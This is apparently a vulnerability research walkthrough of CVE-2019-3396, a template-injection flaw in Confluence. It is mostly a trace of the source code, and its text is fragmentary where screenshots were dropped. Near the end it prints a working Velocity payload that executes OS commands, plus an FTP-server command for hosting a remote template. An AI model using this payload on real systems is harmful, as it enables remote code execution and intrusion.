
Step-by-step analysis and exploitation guide for CVE-2019-3396, a critical SSTI vulnerability in Confluence Server & Data Center, including debugging and RCE payload execution.
Affected Product: Confluence Server & Data Center
Affected Versions: from 6.0.0 to 6.15.4
Severity: Critical (CVSS ~9.8)
Cause:
Confluence has a Widget Connector plugin (used to embed videos, external content like YouTube, Vimeo...).
This function does not properly validate user input, leading to Server-Side Template Injection (SSTI).
An attacker can send a malicious payload → Confluence renders it using the Velocity template engine → executes code on the server.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector, let's try searching in the Confluence source folder
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml() method
YoutubeRenderer classurl → the original YouTube link entered by the userparams → a map containing configuration parameters for rendering (e.g., width, height, template used for rendering, etc.).
getEmbedUrl(), setDefaultParam(), and DefaultVelocityRenderService.render()setDefaultParam()
If _template is not present → assign the default template youtube.vm.
=> We can manually add _template to the program.
Next, go into DefaultVelocityRenderService.render()
Purpose of the method
Receives url and parameters params.
Uses Velocity template (.vm) to render into embedded HTML (iframe, embed, etc.).
Template Determination
If params has _template → use that template.
Otherwise → use default embed.vm.
Create default context using MacroUtils.defaultVelocityContext().
Put all parameters from params into the context:
If key = tweetHtml → keep HTML unchanged.
Otherwise → safely encode using GeneralUtil.htmlEncode().
Add urlHtml, width, height to the context (if empty, default to 400 × 300).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate and getRenderedTemplateWithoutSwallowingErrors()
getTemplate()
Here, templateName is the _template from above.
Then it calls VelocityEngine.Template()

VelocityEngine class, it calls RunimeInstance.getTemplate()
RuntimeInstance (Velocity core)
This is the "heart" of the Velocity Engine. It handles:
Engine initialization (init)
Managing configuration, macros, parser, directives, event handlers…
And especially: managing resources via ResourceManager
→ This means RuntimeInstance does not load resources itself, but delegates to resourceManager.
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (Confluence custom)
This is an implementation of the ResourceManager interface.
It is responsible for:
Managing resource loaders (file loader, classpath loader, URL loader…).
Managing globalCache (caches templates by resourceKey).
Loading/refreshing template (.vm file) when requested by RuntimeInstance.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
When a resource is in the cache, it does not return immediately, but calls refreshResource(...).
refreshResource compares the lastModified time on disk with that in the cache.
If the file has changed → the resource in the cache is invalidated → reload from disk → update cache.
👉 Therefore, you do not need to manually change resourceKey. The refresh mechanism ensures that when the template changes, the cache is also updated.
Add _template and resend the request

ResourceLoader instances (initialized objects) in Velocity

FileResourceLoader and ClasspathResourceLoaderFileResourceLoaderIt calls StringUtils.normalizePath() to block path traversal

normalizePath is as shown
/WEB-INF/web.xml file and you can see that the file was loaded successfully.
/../ is blocked.ClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() of /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource() which returns a URL, meaning the object can be retrieved.

url.openStream() to retrieve data


Executed Payload
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → runs the OS command "id" on Ubuntu.python3 -m pyftpdlib -p 2005

Execute:
